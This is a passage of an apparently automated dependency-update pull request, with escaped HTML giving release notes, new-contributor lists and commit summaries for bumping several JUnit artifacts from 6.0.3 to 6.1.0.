href=\"https://github.com/junit-team/junit-framework/compare/r6.0.0...r6.1.0-M1\"\u003ehttps://github.com/junit-team/junit-framework/compare/r6.0.0...r6.1.0-M1\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/0dc3af1cb1973d257b5bc75d81e02454d5e4e556\"\u003e\u003ccode\u003e0dc3af1\u003c/code\u003e\u003c/a\u003e Release 6.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/1d130020c85170edcb46ce7ed1f7f78824e37c04\"\u003e\u003ccode\u003e1d13002\u003c/code\u003e\u003c/a\u003e Prepare 6.1.0 release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/072b2175bbd7b0b3b26f5d928550ec7a21e68268\"\u003e\u003ccode\u003e072b217\u003c/code\u003e\u003c/a\u003e Update plugin spotless to v8.5.0 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5668\"\u003e#5668\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/3a53480218f4b752a9ca77506e10632cd483c0f8\"\u003e\u003ccode\u003e3a53480\u003c/code\u003e\u003c/a\u003e Update Gradle to v9.5.1 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5666\"\u003e#5666\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/0e18a20a9f98d063ae02b3ba19329143f5c7f034\"\u003e\u003ccode\u003e0e18a20\u003c/code\u003e\u003c/a\u003e Update zizmorcore/zizmor-action action to v0.5.4 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5669\"\u003e#5669\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/0a2634fb9cbbd057b02cf629d7d272c16d62be4b\"\u003e\u003ccode\u003e0a2634f\u003c/code\u003e\u003c/a\u003e Update github/codeql-action action to v4.35.5 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5671\"\u003e#5671\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/4dbd5561b00ac761a62c516bfaec51c212a2d60c\"\u003e\u003ccode\u003e4dbd556\u003c/code\u003e\u003c/a\u003e Restructure workflows to have single \u0026quot;status\u0026quot; job (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5670\"\u003e#5670\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/f2194cebe377512cb0ade388c62a881a0bcf5d3e\"\u003e\u003ccode\u003ef2194ce\u003c/code\u003e\u003c/a\u003e Increase timeout to reduce flakiness\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/5c8fdd2df65b763151cccbe669ea9e1c3155efcd\"\u003e\u003ccode\u003e5c8fdd2\u003c/code\u003e\u003c/a\u003e Update dependency org.apache.groovy:groovy to v5.0.6 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5659\"\u003e#5659\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/43c6982324602582902c9bdb213fd5e007f9cf3d\"\u003e\u003ccode\u003e43c6982\u003c/code\u003e\u003c/a\u003e Update dependency org.slf4j:slf4j-jdk14 to v2.0.18 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5667\"\u003e#5667\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.0.3...r6.1.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.junit.jupiter:junit-jupiter` from 6.0.3 to 6.1.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/junit-team/junit-framework/releases\"\u003eorg.junit.jupiter:junit-jupiter's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eJUnit 6.1.0 = Platform 6.1.0 + Jupiter 6.1.0 + Vintage 6.1.0\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://docs.junit.org/6.1.0/release-notes.html\"\u003eRelease Notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JarvisCraft\"\u003e\u003ccode\u003e@​JarvisCraft\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5633\"\u003ejunit-team/junit-framework#5633\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Maran23\"\u003e\u003ccode\u003e@​Maran23\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5644\"\u003ejunit-team/junit-framework#5644\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.0.3...r6.1.0\"\u003ehttps://github.com/junit-team/junit-framework/compare/r6.0.3...r6.1.0\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eJUnit 6.1.0-RC1 = Platform 6.1.0-RC1 + Jupiter 6.1.0-RC1 + Vintage 6.1.0-RC1\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://docs.junit.org/6.1.0-RC1/release-notes/\"\u003eRelease Notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mariokhoury4\"\u003e\u003ccode\u003e@​mariokhoury4\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/4574\"\u003ejunit-team/junit-framework#4574\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Ogu1208\"\u003e\u003ccode\u003e@​Ogu1208\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5145\"\u003ejunit-team/junit-framework#5145\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HyungGeun94\"\u003e\u003ccode\u003e@​HyungGeun94\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5271\"\u003ejunit-team/junit-framework#5271\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/yalishevant\"\u003e\u003ccode\u003e@​yalishevant\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5316\"\u003ejunit-team/junit-framework#5316\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JINU-CHANG\"\u003e\u003ccode\u003e@​JINU-CHANG\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5290\"\u003ejunit-team/junit-framework#5290\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jaschdoc\"\u003e\u003ccode\u003e@​jaschdoc\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5427\"\u003ejunit-team/junit-framework#5427\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kawshikbuet17\"\u003e\u003ccode\u003e@​kawshikbuet17\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5561\"\u003ejunit-team/junit-framework#5561\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/msridhar\"\u003e\u003ccode\u003e@​msridhar\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5602\"\u003ejunit-team/junit-framework#5602\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.1.0-M1...r6.1.0-RC1\"\u003ehttps://github.com/junit-team/junit-framework/compare/r6.1.0-M1...r6.1.0-RC1\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eJUnit 6.1.0-M1 = Platform 6.1.0-M1 + Jupiter 6.1.0-M1 + Vintage 6.1.0-M1\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://docs.junit.org/6.1.0-M1/release-notes/\"\u003eRelease Notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vy\"\u003e\u003ccode\u003e@​vy\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5041\"\u003ejunit-team/junit-framework#5041\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Pankraz76\"\u003e\u003ccode\u003e@​Pankraz76\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5006\"\u003ejunit-team/junit-framework#5006\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/arukiidou\"\u003e\u003ccode\u003e@​arukiidou\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5066\"\u003ejunit-team/junit-framework#5066\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/laeubi\"\u003e\u003ccode\u003e@​laeubi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5092\"\u003ejunit-team/junit-framework#5092\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jihun4452\"\u003e\u003ccode\u003e@​jihun4452\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5088\"\u003ejunit-team/junit-framework#5088\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TWiStErRob\"\u003e\u003ccode\u003e@​TWiStErRob\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5133\"\u003ejunit-team/junit-framework#5133\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.0.0...r6.1.0-M1\"\u003ehttps://github.com/junit-team/junit-framework/compare/r6.0.0...r6.1.0-M1\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/0dc3af1cb1973d257b5bc75d81e02454d5e4e556\"\u003e\u003ccode\u003e0dc3af1\u003c/code\u003e\u003c/a\u003e Release 6.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/1d130020c85170edcb46ce7ed1f7f78824e37c04\"\u003e\u003ccode\u003e1d13002\u003c/code\u003e\u003c/a\u003e Prepare 6.1.0 release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/072b2175bbd7b0b3b26f5d928550ec7a21e68268\"\u003e\u003ccode\u003e072b217\u003c/code\u003e\u003c/a\u003e Update plugin spotless to v8.5.0 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5668\"\u003e#5668\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/3a53480218f4b752a9ca77506e10632cd483c0f8\"\u003e\u003ccode\u003e3a53480\u003c/code\u003e\u003c/a\u003e Update Gradle to v9.5.1 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5666\"\u003e#5666\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/0e18a20a9f98d063ae02b3ba19329143f5c7f034\"\u003e\u003ccode\u003e0e18a20\u003c/code\u003e\u003c/a\u003e Update zizmorcore/zizmor-action action to v0.5.4 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5669\"\u003e#5669\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/0a2634fb9cbbd057b02cf629d7d272c16d62be4b\"\u003e\u003ccode\u003e0a2634f\u003c/code\u003e\u003c/a\u003e Update github/codeql-action action to v4.35.5 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5671\"\u003e#5671\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/4dbd5561b00ac761a62c516bfaec51c212a2d60c\"\u003e\u003ccode\u003e4dbd556\u003c/code\u003e\u003c/a\u003e Restructure workflows to have single \u0026quot;status\u0026quot; job (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5670\"\u003e#5670\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/f2194cebe377512cb0ade388c62a881a0bcf5d3e\"\u003e\u003ccode\u003ef2194ce\u003c/code\u003e\u003c/a\u003e Increase timeout to reduce flakiness\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/5c8fdd2df65b763151cccbe669ea9e1c3155efcd\"\u003e\u003ccode\u003e5c8fdd2\u003c/code\u003e\u003c/a\u003e Update dependency org.apache.groovy:groovy to v5.0.6 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5659\"\u003e#5659\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/43c6982324602582902c9bdb213fd5e007f9cf3d\"\u003e\u003ccode\u003e43c6982\u003c/code\u003e\u003c/a\u003e Update dependency org.slf4j:slf4j-jdk14 to v2.0.18 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5667\"\u003e#5667\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.0.3...r6.1.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.junit.jupiter:junit-jupiter-api` from 6.0.3 to 6.1.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/junit-team/junit-framework/releases\"\u003eorg.junit.jupiter:junit-jupiter-api's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eJUnit 6.1.0 = Platform 6.1.0 + Jupiter 6.1.0 + Vintage 6.1.0\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://docs.junit.org/6.1.0/release-notes.html\"\u003eRelease Notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JarvisCraft\"\u003e\u003ccode\u003e@​JarvisCraft\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5633\"\u003ejunit-team/junit-framework#5633\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Maran23\"\u003e\u003ccode\u003e@​Maran23\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5644\"\u003ejunit-team/junit-framework#5644\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.0.3...r6.1.0\"\u003ehttps://github.com/junit-team/junit-framework/compare/r6.0.3...r6.1.0\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eJUnit 6.1.0-RC1 = Platform 6.1.0-RC1 + Jupiter 6.1.0-RC1 + Vintage 6.1.0-RC1\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://docs.junit.org/6.1.0-RC1/release-notes/\"\u003eRelease Notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mariokhoury4\"\u003e\u003ccode\u003e@​mariokhoury4\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/4574\"\u003ejunit-team/junit-framework#4574\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Ogu1208\"\u003e\u003ccode\u003e@​Ogu1208\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5145\"\u003ejunit-team/junit-framework#5145\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HyungGeun94\"\u003e\u003ccode\u003e@​HyungGeun94\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5271\"\u003ejunit-team/junit-framework#5271\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/yalishevant\"\u003e\u003ccode\u003e@​yalishevant\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5316\"\u003ejunit-team/junit-framework#5316\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JINU-CHANG\"\u003e\u003ccode\u003e@​JINU-CHANG\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5290\"\u003ejunit-team/junit-framework#5290\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jaschdoc\"\u003e\u003ccode\u003e@​jaschdoc\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5427\"\u003ejunit-team/junit-framework#5427\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kawshikbuet17\"\u003e\u003ccode\u003e@​kawshikbuet17\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5561\"\u003ejunit-team/junit-framework#5561\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/msridhar\"\u003e\u003ccode\u003e@​msridhar\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5602\"\u003ejunit-team/junit-framework#5602\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.1.0-M1...r6.1.0-RC1\"\u003ehttps://github.com/junit-team/junit-framework/compare/r6.1.0-M1...r6.1.0-RC1\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eJUnit 6.1.0-M1 = Platform 6.1.0-M1 + Jupiter 6.1.0-M1 + Vintage 6.1.0-M1\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://docs.junit.org/6.1.0-M1/release-notes/\"\u003eRelease Notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vy\"\u003e\u003ccode\u003e@​vy\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5041\"\u003ejunit-team/junit-framework#5041\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Pankraz76\"\u003e\u003ccode\u003e@​Pankraz76\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5006\"\u003ejunit-team/junit-framework#5006\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/arukiidou\"\u003e\u003ccode\u003e@​arukiidou\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5066\"\u003ejunit-team/junit-framework#5066\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/laeubi\"\u003e\u003ccode\u003e@​laeubi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5092\"\u003ejunit-team/junit-framework#5092\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jihun4452\"\u003e\u003ccode\u003e@​jihun4452\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5088\"\u003ejunit-team/junit-framework#5088\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TWiStErRob\"\u003e\u003ccode\u003e@​TWiStErRob\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5133\"\u003ejunit-team/junit-framework#5133\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.0.0...r6.1.0-M1\"\u003ehttps://github.com/junit-team/junit-framework/compare/r6.0.0...r6.1.0-M1\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/0dc3af1cb1973d257b5bc75d81e02454d5e4e556\"\u003e\u003ccode\u003e0dc3af1\u003c/code\u003e\u003c/a\u003e Release 6.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/1d130020c85170edcb46ce7ed1f7f78824e37c04\"\u003e\u003ccode\u003e1d13002\u003c/code\u003e\u003c/a\u003e Prepare 6.1.0 release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/072b2175bbd7b0b3b26f5d928550ec7a21e68268\"\u003e\u003ccode\u003e072b217\u003c/code\u003e\u003c/a\u003e Update plugin spotless to v8.5.0 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5668\"\u003e#5668\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/3a53480218f4b752a9ca77506e10632cd483c0f8\"\u003e\u003ccode\u003e3a53480\u003c/code\u003e\u003c/a\u003e Update Gradle to v9.5.1 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5666\"\u003e#5666\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/0e18a20a9f98d063ae02b3ba19329143f5c7f034\"\u003e\u003ccode\u003e0e18a20\u003c/code\u003e\u003c/a\u003e Update zizmorcore/zizmor-action action to v0.5.4 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5669\"\u003e#5669\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/0a2634fb9cbbd057b02cf629d7d272c16d62be4b\"\u003e\u003ccode\u003e0a2634f\u003c/code\u003e\u003c/a\u003e Update github/codeql-action action to v4.35.5 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5671\"\u003e#5671\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/4dbd5561b00ac761a62c516bfaec51c212a2d60c\"\u003e\u003ccode\u003e4dbd556\u003c/code\u003e\u003c/a\u003e Restructure workflows to have single \u0026quot;status\u0026quot; job (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5670\"\u003e#5670\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/f2194cebe377512cb0ade388c62a881a0bcf5d3e\"\u003e\u003ccode\u003ef2194ce\u003c/code\u003e\u003c/a\u003e Increase timeout to reduce flakiness\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/5c8fdd2df65b763151cccbe669ea9e1c3155efcd\"\u003e\u003ccode\u003e5c8fdd2\u003c/code\u003e\u003c/a\u003e Update dependency org.apache.groovy:groovy to v5.0.6 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5659\"\u003e#5659\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/43c6982324602582902c9bdb213fd5e007f9cf3d\"\u003e\u003ccode\u003e43c6982\u003c/code\u003e\u003c/a\u003e Update dependency org.slf4j:slf4j-jdk14 to v2.0.18 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5667\"\u003e#5667\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.0.3...r6.1.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.junit.vintage:junit-vintage-engine` from 6.0.3 to 6.1.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/junit-team/junit-framework/releases\"\u003eorg.junit.vintage:junit-vintage-engine's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eJUnit 6.1.0 = Platform 6.1.0 + Jupiter 6.1.0 + Vintage 6.1.0\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://docs.junit.org/6.1.0/release-notes.html\"\u003eRelease Notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JarvisCraft\"\u003e\u003ccode\u003e@​JarvisCraft\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5633\"\u003ejunit-team/junit-framework#5633\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Maran23\"\u003e\u003ccode\u003e@​Maran23\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5644\"\u003ejunit-team/junit-framework#5644\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.0.3...r6.1.0\"\u003ehttps://github.com/junit-team/junit-framework/compare/r6.0.3...r6.1.0\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eJUnit 6.1.0-RC1 = Platform 6.1.0-RC1 + Jupiter 6.1.0-RC1 + Vintage 6.1.0-RC1\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://docs.junit.org/6.1.0-RC1/release-notes/\"\u003eRelease Notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mariokhoury4\"\u003e\u003ccode\u003e@​mariokhoury4\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/4574\"\u003ejunit-team/junit-framework#4574\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Ogu1208\"\u003e\u003ccode\u003e@​Ogu1208\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5145\"\u003ejunit-team/junit-framework#5145\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca 